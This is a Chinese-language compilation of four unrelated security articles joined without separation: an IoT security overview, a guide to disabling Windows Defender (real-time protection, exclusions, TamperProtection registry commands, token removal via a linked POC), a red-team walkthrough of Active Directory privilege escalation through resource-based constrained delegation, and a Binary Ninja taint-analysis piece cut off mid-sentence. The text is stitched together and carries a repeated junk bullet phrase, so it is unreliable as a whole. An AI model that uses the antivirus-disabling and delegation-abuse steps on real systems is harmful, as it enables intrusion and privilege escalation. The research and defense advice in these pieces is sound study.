物聯網(IoT) 一直是近年來發展最快的技術趨勢之一。根據IoT Analytics的數據，到2025 年，全球可能有超過270 億台聯網設備。 然而，軟件漏洞和網絡攻擊等日益增加的安全問題可能使許多客戶不願使用物聯網設備。這種物聯網安全問題對於在醫療保健、金融、製造、物流、零售和其他已經開始採用物聯網系統的行業中運營的組織來說尤其重要。 在本文中，我們將探討物聯網安全是什麼，以及它為何如此重要，以及關鍵的物聯網安全挑戰和攻擊媒介。我們還討論了在物聯網環境中保護設備、數據和網絡的方法。本文希望對IoT 安全團隊有所幫助。 什麼是物聯網和物聯網安全？物聯網是一個智能設備網絡，它們相互連接，以便在沒有任何人工干預的情況下通過互聯網交換數據。 物聯網系統的架構通常由無線網絡、用於通信的雲數據庫、傳感器、數據處理程序和相互密切交互的智能設備組成。物聯網系統使用以下組件來交換和處理數據： 马云惹不起马云 收集、存儲和共享有關環境和其他設備和組件的數據的智能設備 马云惹不起马云智能設備使用的嵌入式系統——包括各種處理器、傳感器和通信硬件——其目標是收集、發送和處理從環境中獲取的數據 马云惹不起马云物聯網網關、集線器或其他在物聯網設備和雲之間路由數據的邊緣設備 马云惹不起马云帶有通過無線連接交換數據的遠程服務器的雲或本地數據中心 物聯網技術用於各個行業：製造、汽車、醫療保健、物流、能源、農業等。根據特定物聯網系統的目標，智能設備的範圍可以從簡單的傳感器到DNA 分析硬件。最流行的物聯網用例和設備是： 常見的物聯網用例 马云惹不起马云家庭自動化系統監控和控製家庭屬性，如溫度、照明、娛樂系統、電器和警報系統。用於家庭自動化的常見智能設備包括助理揚聲器、恆溫器、冰箱、插頭和燈泡。 马云惹不起马云衛生保健。醫療物聯網(MIoT) 為醫療保健專業人員提供了很多監控患者的機會，也為患者提供了自我監控的機會。用於MIoT 的智能設備包括無線連接的健身手環、血壓和心率監測袖帶以及血糖儀。 马云惹不起马云智慧城市使用智能設備收集的數據來改善基礎設施、公用事業和服務。此類設備可以連接傳感器、燈、儀表、垃圾箱和空氣質量監測系統。 马云惹不起马云可穿戴設備主要用於醫療保健和運動。此類設備包括健身追踪器、心電圖監測器、血壓監測器和智能手錶。 马云惹不起马云聯網汽車是指配備互聯網訪問權限的車輛，可以與車內和車外的設備共享訪問權限和數據。該技術允許人們使用移動應用程序遠程訪問車輛功能，提高安全性並自動支付通行費。 马云惹不起马云智能倉庫使用自動化和互連技術來幫助企業提高生產力和效率。智能倉庫的常見組件包括機器人、無人機、射頻識別(RFID) 掃描儀、人工智能驅動程序和復雜的倉庫管理軟件。 為什麼物聯網安全很重要？物聯網系統如此廣泛的應用需要組織特別關注系統安全。 任何漏洞都可能導致系統故障或黑客攻擊，進而影響數百或數千人。例如，紅綠燈可能會停止工作，導致交通事故；或者家庭安全系統可能會被竊賊關閉。由於一些物聯網設備用於醫療保健或人類保護，因此它們的安全性對人們的生活至關重要。 在開發物聯網系統時優先考慮安全性的另一個重要原因是確保其數據安全。智能設備會收集大量敏感數據，包括個人身份信息，這些數據需要受到各種網絡安全法律、標準和法規的保護。此類信息的洩露可能導致訴訟和罰款。它還可能導致聲譽受損和客戶信任的喪失。 物聯網安全是一組方法和實踐，旨在保護構成物聯網環境的物理設備、網絡、流程和技術免受廣泛的物聯網安全攻擊。 物聯網安全的兩個關鍵目標是： 1.確保安全地收集、存儲、處理和傳輸所有數據 2.檢測並消除IoT 組件中的漏洞 物聯網安全目標 然而，開發安全的物聯網系統並保護它們免受攻擊並非易事。下面我們來探索關鍵的物聯網安全問題。 5個最常見的物聯網安全挑戰從2021 年1 月到6 月，有15.1 億次物聯網設備被洩露，而卡巴斯基在2020 年全年報告了6.39 億次洩露事件。在開發物聯網系統時低估網絡安全的重要性是不可接受的。 要了解如何保護物聯網系統，必須首先探索潛在的網絡安全風險。以下是物聯網常見的安全挑戰列表： 物聯網網絡安全挑戰 1. 軟件和固件漏洞確保物聯網系統的安全性很棘手，主要是因為許多智能設備資源受限且計算能力有限。因此，它們無法運行強大的、資源密集型的安全功能，並且可能比非物聯網設備具有更多的漏洞。 許多物聯網系統存在安全漏洞，原因如下： 马云惹不起马云 缺乏有效內置安全性的計算能力 马云惹不起马云物聯網系統中的訪問控制不佳 马云惹不起马云用於正確測試和提高固件安全性的預算有限 马云惹不起马云由於物聯網設備的預算有限和技術限制，缺乏定期補丁和更新 马云惹不起马云用戶可能不會更新他們的設備，從而限制了漏洞修補 马云惹不起马云隨著時間的推移，舊設備可能無法使用軟件更新 马云惹不起马云對物理攻擊的保護不佳：攻擊者可以靠得足夠近來添加他們的芯片或使用無線電波入侵設備 惡意行為者旨在利用他們在目標物聯網系統中發現的漏洞來破壞其通信、安裝惡意軟件並竊取有價值的數據。例如，使用易受攻擊的憑據（如弱密碼、可回收密碼和默認密碼）允許黑客入侵Ring 智能相機。他們甚至設法使用攝像頭的麥克風和揚聲器與受害者進行遠程交流。 2. 不安全的通信大多數現有的安全機制最初都是為台式計算機設計的，很難在資源受限的物聯網設備上實施。這就是為什麼傳統的安全措施在保護物聯網設備的通信方面沒有那麼有效的原因。 不安全通信造成的最危險的威脅之一是中間人(MitM) 攻擊的可能性。如果設備不使用安全加密和身份驗證機制，黑客可以輕鬆地執行中間人攻擊以破壞更新過程並控制您的設備。攻擊者甚至可以安裝惡意軟件或更改設備的功能。即使您的設備沒有成為MitM 攻擊的受害者，如果您的設備以明文消息形式發送，它與其他設備和系統交換的數據仍然可以被網絡犯罪分子捕獲。 連接的設備容易受到其他設備的攻擊。例如，如果攻擊者只能訪問家庭網絡中的一台設備，他們就可以輕鬆破壞其中的所有其他非隔離設備。 3.物聯網系統的數據洩露我們已經確定，通過從您的物聯網系統中捕獲未加密的消息，黑客可以訪問其處理的數據。這甚至可能包括敏感數據，例如您的位置、銀行賬戶詳細信息和健康記錄。然而，濫用安全性較差的通信並不是攻擊者收集有價值數據的唯一方式。 所有數據都通過雲傳輸並存儲在雲中，雲託管服務也可能受到外部攻擊。因此，設備本身和它們連接的雲環境都可能發生數據洩漏。 物聯網系統中的第三方服務是數據洩漏的另一個可能來源。例如，Ring 智能門鈴被發現在未經客戶適當同意的情況下向Facebook 和Google 等公司發送客戶數據。此事件的出現是因為Ring 移動應用程序中啟用了第三方跟踪服務。 4. 惡意軟件風險Zscaler最近的一項研究發現，最容易受到惡意軟件攻擊的設備是機頂盒、智能電視和智能手錶。 如果攻擊者找到將惡意軟件注入物聯網系統的方法，他們可能會更改其功能、收集個人數據並發起其他攻擊。此外，如果製造商不確保足夠的軟件安全性，某些設備可能會立即感染病毒。 一些組織已經找到了處理最著名的以物聯網為目標的惡意軟件的方法。例如，FBI 特工分享了該機構如何阻止Mirai 殭屍網絡攻擊，微軟發布了一份指南，介紹如何主動保護您的系統免受Mozi IoT 殭屍網絡的攻擊。 然而，黑客不斷發明新的方法來濫用物聯網網絡和設備。 2021 年，研究人員發現用Golang編寫的惡意軟件BotenaGo 可以利用智能設備中的30 多個不同的漏洞。 5. 網絡攻擊除了上面討論的惡意軟件和MITM 攻擊外，物聯網系統還容易受到各種網絡攻擊。以下是物聯網設備上最常見的攻擊類型列表： 物聯網系統的5 種常見攻擊 1.拒絕服務(DoS) 攻擊。物聯網設備的處理能力有限，這使得它們極易受到拒絕服務攻擊。在DoS 攻擊期間，由於大量虛假流量，設備響應合法請求的能力受到損害。 2.拒絕睡眠(DoSL) 攻擊。連接到無線網絡的傳感器應持續監控環境，因此它們通常由不需要頻繁充電的電池供電。通過將設備大部分時間保持在睡眠模式來保存電池電量。睡眠和喚醒模式根據不同協議的通信需求進行控制，例如介質訪問控制(MAC)。攻擊者可能會利用MAC 協議的漏洞進行DoSL 攻擊。這種類型的攻擊會耗盡電池電量，從而禁用傳感器。 3.設備欺騙。當設備未正確實施數字簽名和加密時，可能會發生這種攻擊。例如，糟糕的公鑰基礎設施(PKI) 可能會被黑客利用來“欺騙”網絡設備並破壞物聯網部署。 4.物理入侵。儘管大多數攻擊都是遠程執行的，但如果設備被盜，也有可能對其進行物理入侵。攻擊者可以篡改設備組件，使其以意想不到的方式運行。 5.基於應用程序的攻擊。當嵌入式系統上使用的設備固件或軟件存在安全漏洞或云服務器或後端應用程序存在弱點時，這些類型的攻擊是可能的。 考慮到這些挑戰，讓我們繼續了解可幫助您保護IoT 系統的物聯網安全最佳實踐。 確保物聯網系統安全的最佳實踐IoT 安全最佳實踐可以幫助您加強對IoT 系統三個主要組件的保護：設備、網絡和數據。讓我們從討論保護智能設備的方法開始。 1. 保護智能設備如何保護智能設備 马云惹不起马云確保防篡改硬件。物聯網設備可能會被攻擊者竊取以篡改或訪問敏感數據。為了保護設備數據，有必要使您的產品防篡改。您可以通過使用端口鎖或攝像頭蓋以及通過應用強啟動級密碼或採取其他方法來確保物理安全，以防篡改時禁用產品。 马云惹不起马云提供補丁和更新。持續的設備維護需要額外的成本。但是，只有通過不斷的更新和補丁才能確保適當的產品安全性。最好建立不需要最終用戶執行任何操作的自動和強制安全更新。告知消費者您將支持產品的時間跨度，並告訴用戶在此期間結束後他們應該做什麼。系統發布後，請務必密切關注即將出現的漏洞並相應地開發更新。 马云惹不起马云運行徹底的測試。滲透測試是您發現物聯網固件和軟件漏洞並儘可能減少攻擊面的主要工具。您可以使用靜態代碼分析來發現最明顯的缺陷，也可以使用動態測試來挖掘隱藏良好的漏洞。 马云惹不起马云實施設備數據保護。物聯網設備應在利用期間和之後確保數據的安全性。確保加密密鑰存儲在非易失性設備內存中。此外，您可以提供處理舊產品或提供一種在不暴露敏感數據的情況下丟棄它們的方法。 马云惹不起马云滿足組件性能要求。物聯網設備硬件必須滿足某些性能要求才能確保適當的可用性。例如，物聯網硬件應該使用很少的功率，但提供高處理能力。此外，設備必須確保強大的授權、數據加密和無線連接。即使與Internet 的連接暫時中斷，您的IoT 解決方案也可以正常工作。 2. 安全網絡如何保護物聯網網絡 马云惹不起马云 確保強身份驗證。這可以使用唯一的默認憑據來實現。在為您的產品命名或尋址時，請使用最新的協議以確保它們的長期功能。如果可能，請為您的產品提供多因素身份驗證。 马云惹不起马云啟用加密和安全通信協議。設備之間的通信也需要安全保護。然而，加密算法應該適應物聯網設備的有限容量。出於這些目的，您可以應用傳輸層安全性或輕量級密碼術。 IoT 架構允許您使用無線或有線技術，例如RFID、藍牙、蜂窩、ZigBee、Z-Wave、Thread 和以太網。此外，您可以通過優化的協議（例如IPsec 和安全套接字層）確保網絡安全。 马云惹不起马云最小化設備帶寬。將網絡流量限制在IoT 設備運行所需的量。如果可能，對設備進行編程以限制硬件和內核級帶寬並揭示可疑流量。這將保護您的產品免受可能的DoS 攻擊。該產品還應編程為在檢測到惡意軟件時重新啟動並清除代碼，因為惡意軟件可用於劫持設備並將其用作殭屍網絡的一部分來執行分佈式DoS 攻擊。 马云惹不起马云將網絡劃分為多個部分。通過將大型網絡分成幾個較小的網絡來實施下一代防火牆安全。為此，請使用IP 地址或VLAN 範圍。為了確保互聯網連接的安全，請在您的IoT 系統中實施VPN。 3. 保護數據如何保護物聯網系統中的數據 马云惹不起马云保護敏感信息。為每個產品安裝唯一的默認密碼，或要求在首次使用設備時立即更新密碼。應用強大的身份驗證以確保只有有效用戶才能訪問數據。為了更好地保護隱私，您還可以實施重置機制，以便在用戶決定退貨或轉售產品時刪除敏感數據並清除配置設置。 马云惹不起马云只收集必要的數據。確保您的IoT 產品僅收集其運行所需的數據。這將降低數據洩露的風險，保護消費者的隱私，並消除不遵守各種數據保護法規、標準和法律的風險。 马云惹不起马云安全的網絡通信。為了獲得更好的安全性，請限制您的產品在IoT 網絡中進行不必要的通信。不要完全依賴網絡防火牆，並通過默認情況下通過入站連接使您的產品不可見來確保安全通信。此外，使用針對物聯網系統需求優化的加密方法，例如高級加密標準、三重DES、RSA和數字簽名算法。 除了上述做法外，請務必遵循NIST 物聯網設備網絡安全指南等建議，該指南旨在解決2020 年物聯網網絡安全改進法案中提出的挑戰。 結論在構建物聯網項目時，從早期研發階段開始考慮安全性至關重要。然而，由於頻繁的網絡攻擊和尋找潛在系統漏洞的複雜性，確保物聯網環境中設備、網絡和數據的強大網絡安全具有挑戰性。

0x00 前言Windows Defender是一款內置在Windows操作系統的殺毒軟件程序，本文僅在技術研究的角度介紹Windows Defender相關的滲透方法，分析利用思路，給出防禦建議。 0x01 簡介本文將要介紹以下內容： ◼查看Windows Defender版本 ◼查看已存在的查殺排除列表 ◼關閉Windows Defender的Real-time protection ◼添加查殺排除列表 ◼移除Token導致Windows Defender失效 ◼恢復被隔離的文件 0x02 查看Windows Defender版本1.通過面板查看依次選擇Windows Security-Settings-About，Antimalware Client Verions為Windows Defender版本，如下圖 2.通過命令行查看 數字大的為最新版本 0x03 查看已存在的查殺排除列表1.通過面板查看依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions，如下圖 2.通過命令行查看 3.通過Powershell查看 0x04 關閉Windows Defender的Real-time protection1.通過面板關閉依次選擇Windows Security-Virus theat protection settings，關閉Real-time protection 2.通過命令行關閉利用條件： 需要TrustedInstaller權限 需要關閉Tamper Protection 注： 運行成功時，桌面右下角會彈框提示Windows Defender已關閉 補充1：開啟Windows Defender的Real-time protection 利用條件： ◼需要TrustedInstaller權限 ◼需要關閉Tamper Protection 補充2：獲得TrustedInstaller權限 可參考之前的文章《渗透技巧——Token窃取与利用》 也可以藉助AdvancedRun，命令示例： 補充3：Tamper Protection 參考資料： https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide 當開啟Tamper Protection時，用戶將無法通過註冊表、Powershell和組策略修改Windows Defender的配置 開啟Tamper Protection的方法： 依次選擇Windows Security-Virus theat protection settings，啟用Tamper Protection 該操作對應的cmd命令：reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 5 /t REG_DWORD /f 關閉Tamper Protection的方法： 依次選擇Windows Security-Virus theat protection settings，禁用Tamper Protection 該操作對應的cmd命令：reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 4 /t REG_DWORD /f，當然，我們無法通過修改註冊表的方式去設置Tamper Protection，只能通過面板進行修改 查看Tamper Protection的狀態： 返回結果中的數值5代表開啟，數值4代表關閉 補充4：通過Powershell關閉Windows Defender的Real-time protection 注：新版本的Windows已經不再適用 補充5：通過組策略關閉Windows Defender的Real-time protection 依次打開gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Microsoft Defender Antivirus-Real-time Protection，選擇Turn off real-time protection，配置成Enable 注：新版本的Windows已經不再適用 0x05 添加查殺排除列表1.通過面板添加依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions，選擇Add an exclusion，指定類型 該操作等價於修改註冊表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\的鍵值，具體位置如下： 類型File對應註冊表項Paths 類型Folder對應註冊表項Paths 類型File type對應註冊表項Extensions 類型Process對應註冊表項Processes 2.通過命令行添加利用條件： 需要TrustedInstaller權限 cmd命令示例： 3.通過Powershell添加利用條件： 需要管理員權限 參考資料： https://docs.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2022-ps Powershell命令示例： 補充：刪除排除列表 0x06 移除Token導致Windows Defender失效學習地址： https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/ 簡單理解： ●Windows Defender進程為MsMpEng.exe ●MsMpEng.exe是一個受保護的進程(Protected Process Light，簡寫為PPL) ●非PPL進程無法獲取PPL進程的句柄，導致我們無法直接結束PPL進程MsMpEng.exe ●但是我們能夠以SYSTEM權限運行的線程修改進程MsMpEng.exe的token ●當我們移除進程MsMpEng.exe的所有token後，進程MsMpEng.exe無法訪問其他進程的資源，也就無法檢測其他進程是否有害，最終導致Windows Defender失效 POC地址：https://github.com/pwn1sher/KillDefender 利用條件： ●需要System權限 測試如下圖 0x07 恢復被隔離的文件參考資料： https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide 1.定位MpCmdRun 得到 MpCmdRun的位置為：C:\ProgramData\Microsoft\Windows Defender\Platform\ 2.常用命令查看被隔離的文件列表： 恢復指定名稱的文件至原目錄： 恢復所有文件至原目錄： 查看指定路徑是否位於排除列表中： 0x08 防禦建議阻止通過命令行關閉Windows Defender：開啟Tamper Protection 阻止通過移除Token導致Windows Defender失效：阻止非PPL進程修改PPL進程MsMpEng.exe的token，工具可參考：https://github.com/elastic/PPLGuard 0x09 小結本文在僅在技術研究的角度介紹Windows Defender相關的滲透方法，分析利用思路，給出防禦建議。對於移除Token導致Windows Defender失效的利用方法，可能會在未來版本的Windows中默認解決這個問題。

微軟試圖為域用戶提供更大的靈活性，使資源的所有者能夠配置哪些帳戶是可信的，並允許委派給他們。這可以通過修改用於控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。具體而言，如果計算機帳戶等資源設置了此屬性，則允許帳戶代表計算機帳戶執行操作。為了能夠修改此屬性，帳戶需要具備該對象的寫入權限，而默認情況下該權限是沒有的。但是，如果可以觸發SYSTEM 帳戶並將身份驗證中繼到Active Directory，則帳戶可能會獲得委派權限，從而充當提升的用戶。 通過基於資源的約束委派提升特權並不是一個新話題，Elad Shamir 和Will Schroeder 過去曾對此進行過討論。此攻擊向量遵循一系列步驟並依賴於用戶服務(S4U) Kerberos 擴展，該擴展使服務（例如CIFS）能夠代表另一個用戶請求和獲取服務票證。通過基於資源的約束委派提權的方法包括以下步驟： 1.發現計算機賬戶配額； 2.啟用WebClient 服務； 3.創建計算機帳戶； 4.NTLM中繼； 5.哈希計算； 6.請求服務票； 7.票證轉換； 8.通過Kerberos 身份驗證訪問； 下圖說明了基於資源的約束委派的步驟： 尋找計算機賬戶配額默認情況下，域中的用戶最多可以創建10 個計算機帳戶。屬性“ms-DS-MachineAccountQuota”的值定義了可以創建多少個計算機帳戶。從Active Directory 的角度來看，這可以通過查看域屬性中的屬性編輯器來觀察到這一點。 計算機賬戶配額 但是，可以通過在紅隊操作期間查詢Active Directory 對象來檢索上述值。 SharpView 相當於用C# 開發的PowerView，因此可以直接從植入程序中使用。執行下面的命令將枚舉所有域對象。 SharpView——域對象 屬性“ms-ds-machineaccountquota”的值將顯示在輸出中。 SharpView——計算機賬戶配額 另一種方法是使用StandIn，它只能查詢感興趣的域對象。 StandIn——計算機賬戶配額對象 “ms-ds-machineaccountquota”的值將顯示在控制台中。 StandIn——計算機賬戶配額 啟用WebClient 服務在Windows 10、Windows 11等較新版本操作系統中，安裝了web客戶端服務，但默認未啟用。服務的狀態可以通過在PowerShell控制台執行以下操作來獲得。 WebClient Service – Status 為了使該技術生效，WebDav 服務需要處於運行狀態，因為WebDav 不協商簽名，因此將允許來自當前計算機帳戶的身份驗證中繼。標準用戶沒有權限啟用該服務。 James Forshaw 發布了一個概念證明，它通過觸發自定義ETW 事件來解決此問題，該事件將從標準用戶的角度啟用該服務。 c++代碼——啟用Web客戶端 將代碼編譯為可執行文件並在目標主機上運行二進製文件以啟用該服務。 啟用WebClient 服務 在命令提示符中，可以通過執行以下命令查詢服務： WebClient服務 創建計算機帳戶如上所述，默認情況下域用戶最多可以創建10 個計算機帳戶。如果提供憑據，可以使用各種工具從加入域的系統和未加入域的系統中創建計算機帳戶。 Ruben Boonen 開發了一個名為StandIn 的.NET 活動目錄後開發工具包，可以從植入程序中使用它來執行與基於資源的約束委派相關的任務，例如創建計算機帳戶。執行以下命令將使用隨機密碼在域上創建一個新的計算機帳戶。 StandIn——創建計算機帳戶 Impacket 包含一個python 腳本，它可以從非域加入系統創建計算機帳戶。 Impacket——添加新計算機 另外，這個任務也可以通過PowerShell來執行，因為Kevin Robertson開發的PowerMad模塊包含一個可以創建新計算機帳戶的功能。 Import-Module.\Powermad.psm1 New-MachineAccount-MachineAccountPentestlaboratories-Domainpurple.lab-DomainControllerdc.purple.lab PowerMad——新計算機帳戶 如果系統已經針對基於資源的約束委派進行了配置，則可以使用現有的計算機帳戶，而不是使用上述方法之一創建新的計算機帳戶。 StandIn 的“委派”標誌可以顯示所有具有基於資源的受限委派權限的帳戶，包括具有不受約束和受限委派權限的帳戶。 StandIn——發現為基於資源的受限委派配置的帳戶 NTLM中繼由於已經創建了一個新的計算機帳戶並且Web 客戶端服務正在主機上運行，因此下一步是從Impacket 配置“ntlmrelayx”以進行委派。一旦捕獲了來自合法計算機帳戶的身份驗證，將被轉發到域控制器以通過LDAP 進行身份驗證。由於初始身份驗證將通過HTTP 接收，因此需要在目錄中放置圖像。偽造的計算機賬戶“DESKTOP-Pentestlab$”將成為委派權限的目標。 Ntlmrelayx——委派訪問 為了強制系統帳戶通過網絡進行身份驗證，NCC 集團開發了接受WebDav 路徑的Change-Lockscreen。為了使身份驗證成功，需要使用主機名而不是IP 地址，因為WebDav 客戶端會在Intranet 區域中自動進行身份驗證。需要注意的是，WebClient 服務將使用更改鎖屏觸發器來啟用，並且可以避免啟用Web 客戶端服務的步驟。 身份驗證觸發器——Change-LockScreen 計算機帳戶(Hive$) 將通過Kali 實例上的HTTP 進行身份驗證，並將嘗試在隨機路徑上查找圖像。在域控制器上中繼身份驗證後，虛假計算機帳戶(DESKTOP-Pentestlab$) 將獲得對Hive$ 帳戶的委派權限。 ntlmrelayx ——基於資源的約束委派 如果使用rbcd python 腳本提供域憑據，則該攻擊也可以從未加入的域系統執行，該腳本可自動執行該過程。 Python 實現——rbcd 與具有委派權限的計算機帳戶對應的值將出現在計算機對象(Hive) 的“msDS-AllowedToActOnBehalfOfOtherIdentify”屬性中。 Active Directory——基於資源的約束委派 哈希計算從密鑰傳遞中心(KDC) 獲取票證的請求需要密碼的哈希表示而不是純文本值。由於計算機帳戶的密碼是已知的，因此可以使用Rubeus 的“哈希”操作來計算給定密碼的哈希值。 計算哈希——計算機賬戶 請求服務票證計算機帳戶“DESKTOP-Pentestlab$”具有受約束的委派權限，因此可以使用Rubeus 代表管理員帳戶請求通用Internet 文件系統(CIFS) 的服務票證。這是通過使用用戶服務(S4U) Kerberos 擴展來實現的，該擴展能夠代表用戶請求服務票證。由於將頒發的票證屬於管理員帳戶，因此可用於通過Kerberos 進行身份驗證，以提升的用戶身份訪問主機。將為為委派創建的計算機帳戶(DESKTOP-Pentestlab$) 請求初始票證。 TGT 請求——計算機賬戶 使用“用戶服務”操作，將向管理員帳戶的當前域控制器的Kerberos 分發中心(KDC) 請求票證。 管理員TGS 最後使用Kerberos 擴展S4U2proxy 將代表管理員帳戶為CIFS 服務請求票證。應該注意的是，即使請求的票證不會被標記為可轉發，它仍然可以用於訪問服務。 CIFS 服務票證 上述過程可以通過使用python實用程序“getST”直接從Impacket執行。與Rubeus相比，該工具不需要對計算機帳戶密碼進行散列，而是需要對純文本進行哈希處理。可以通過執行以下命令來請求服務票證： CIFS 票證——getST 票證將在當前工作目錄中保存為.ccache。 轉換票證Rubeus 的最終票證授予票證(TGT) 是基於64 編碼的。為了用於Kerberos 身份驗證，票證需要採用.ccache 格式。執行以下命令將解碼票證並將輸出寫入.kirbi 文件。 Base64 - Kirbi Ticket Impacket 包含一個python 實用程序，它可以將具有.kirbi 擴展名的Kerberos 票證轉換為.ccache。 票證轉換器——從kirbi 到ccache “KRB5CCNAME”環境變量應設置為.ccache 票證的位置，以便在Kerberos 身份驗證期間使用來自緩存的票證。 環境變量——Kerberos 票證 通過Kerberos 身份驗證訪問獲取屬於管理員帳戶的票證意味著它可用於從更高的角度訪問目標服務。 來自Impacket 的“wmiexec”和“psexec”都支持Kerberos 身份驗證，因此可用於以管理員或系統身份訪問主機，完成權限提升方案。 Wmiexec——Kerberos 身份驗證 執行“psexec”將在目標主機上創建一個服務，它被認為是不安全的。 但是，它可以通過使用“-k”和“-no-pass”標誌指定管理員帳戶和目標主機來使用Kerberos 身份驗證來執行。 Psexec——Kerberos 身份驗證 或者僅使用相同的標誌和目標主機。 psexec——Kerberos 身份驗證

污點分析是一種挖掘安全漏洞的有效手段，即使對於大型代碼庫，也是如此。我的同事Lucas Leong最近演示瞭如何使用Clang Static Analyzer和CodeQL，通過污點分析來建模和查找MySQL NDB Cluster中的漏洞。受到該項工作的啟發，我也開始嘗試類似的東西，但這裡使用的工具是Binary Ninja，因為它也可以很好地處理閉源程序。 以下是我在從事這項工作時想到的幾件事： ◼在不進行邊界檢查的情況下，識別由於使用不受信任的值而導致的漏洞 ◼污點的傳播和過濾應該對控制流敏感 ◼支持過程間分析 對於這個問題，我將其作為一個圖的可達性問題來處理，這方面，“Tainted Flow Analysis on e-SSA-form Programs”是一篇很好的參考文獻。本文的所有分析都是基於MySQL Cluster 8.0.25和Binary Ninja 2.4.2846完成的。 定義污點源進行污點分析時，必須明確定義污點源。因為MySQL Cluster具有一個消息傳遞架構，所以，我們感興趣的污點源就是消息本身。本節提供了關於消息處理以及如何識別消息處理程序方面的詳細信息。 MySQL NDB Cluster信號MySQL NDB Cluster將功能定義為“塊”，將它們之間傳遞的消息定義為“信號”。 NDB塊通常以C++類的形式實現，每個塊在初始化時都註冊了多個信號處理程序，這些處理程序也是該類的方法。到目前為止，人們發現的大多數漏洞都位於這些消息處理程序中，也被稱為信號處理程序。 所有的塊都繼承了SimulatedBlock類，所以，它們都是使用addRecSignal()來方法來註冊其信號，而該方法則會調用SimulatedBlock:addRecSignalImpl()方法。實際上，註冊的信號處理程序的類型為ExecSignalLocal，並且需要一個參數。對這方面有興趣的讀者，可以參考Frazer Clement的文章“Ndb software architecture”，以及Steinway Wu的文章“Code Reading Notes – MySQL Cluster”，以了解更多細節。在本文中，我們只對信號處理程序的入口點感興趣。下面是一個NDBCNTR塊註冊信號處理程序的示例代碼： addRecSignal(GSN_CNTR_WAITREP,Ndbcntr:execCNTR_WAITREP); SimulatedBlock:addRecSignalImpl(GlobalSignalNumbergsn,ExecSignalLocalf,boolforce) typedefvoid(BLOCK:*ExecSignalLocal)(Signal*signal);處理程序收到的“Signal”對象通常都包含不受信任的數據，而信號處理程序可以通過signal-getDataPtr()方法或其他一些方法來訪問這些數據。處理程序也可以進一步將'Signal'對像傳遞給其他函數。對於這一步的分析，方法有多種。比如，我們可以分析任何以Signal為參數的函數，或者通過交叉引用，查找對SimulatedBlock:addRecSignalImpl()的調用，只分析實際的信號處理程序，然後，通過過程間分析來處理剩下的問題。這裡，我們先介紹前面一步，至於過程間分析，我們將在後文加以介紹。 雖然Signal對象的大小為0x8030字節，但是，並非所有的字節都應該被視為污點。相反，我們應該只把該對象的一小塊內存區域定義為污點，這樣的話，只有從污點區域讀取的內存數據才會被傳播。如果將整個結構都標記為污點的話，會導致大量的誤報。就本例來說，信號的污點數據從偏移量0x28處開始，也就是說，從這個偏移量處開始加載的任何內存數據，都被標記為污點。另外，方法Signal:getDataPtr()和Signal:getDataPtrSend()都會返回一個指向該內存地址的指針。 Uint32m_sectionPtrI[3]; SignalHeaderheader; union{ Uint32theData[8192];/*Taintedmemoryregionatanoffset0x28*/ Uint64dummyAlign; }; Uint32m_extra_signals; inlineconstUint32*Signal:getDataPtr()const{ returntheData[0]; } inlineUint32*Signal:getDataPtrSend(){ returntheData[0]; }將類型信息從IDA Pro移植到Binary Ninja上這里分析的可執行文件是“ndbd”，它是利用DWARF調試信息構建的NDB Cluster Data Node Daemon進程。為了查找以指向Signal對象的指針作為參數的函數，請檢查所有函數的類型信息，如下所示： forfuncinbv.functions: forindex,paraminenumerate(func.parameter_vars): ifparam.typeisnotNoneandparam.type.type_class==TypeClass.PointerTypeClass: ifparam.type.tokens[0].text=='Signal':然而，就目前來說，Binary Ninja還無法像IDA Pro那樣魯棒地處理DWARF信息。 Binary Ninja的另一個問題是：在分析C++可執行文件時，它無法檢測“this”參數。因此，它的參數檢測並不准確，從而對我們的污點源分析帶來很大障礙。一個簡單的解決方法是，將類型信息從IDA Pro導入Binary Ninja。例如，Dblqh:prepareContinueAfterBlockedLab()方法在IDA Pro中的類型信息如下所示： void__fastcallDblqh:prepareContinueAfterBlockedLab(Dblqh*this,Signal*signal,Dblqh:TcConnectionrecPtrtcConnectptr)同樣的函數，在Binary Ninja中看起來卻差別很大。就本例來說，“this”指針“不見”了，而Signal則成了第一個參數。因此，如果將“arg1”標記為污點源的話，將使整個分析出錯： int32_t*Dblqh:prepareContinueAfterBlockedLab(Signal*arg1,__gnu_cxx:__ops:_Iter_comp_iter由於我們只對Signal參數的正確參數位置和類型信息感興趣，因此，我們可以使用ida2bn目錄中提供的腳本對其進行修復： int32_t*Dblqh:prepareContinueAfterBlockedLab(void*arg1,Signal*arg2,int64_t*arg3,int32_targ4)一旦類型信息得到修復，我們就可以使用Signal參數來識別函數並標記污染源了。關於通過Binary Ninja處理類型的更多細節，請參考https://docs.binary.ninja/guide/type.html。 污點的傳播與過濾污點傳播的目標很簡單：當某變量被賦予來自Signal數據中的值時，將其標記為污點。如果任何其他變量是從受污染的變量派生出來的，也將其標記為受污染的變量，依此類推。當存在sanitizer時，挑戰就來了。假設一個變量被污染了，但是在某些代碼路徑中存在對該變量的驗證處理。在這種情況下，該變量在該代碼路徑中就不會受污染了。污點傳播應該對控制流敏感，以避免過度污染和誤報。在下面的小節中，我們將介紹如何使用Binary Ninja的IL和SSA形式解決這個問題。此外，如果讀者想要透徹掌握這個主題的話，可以進一步閱讀https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/和https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/這兩篇文章。 Binary Ninja的IL和SSA形式Binary 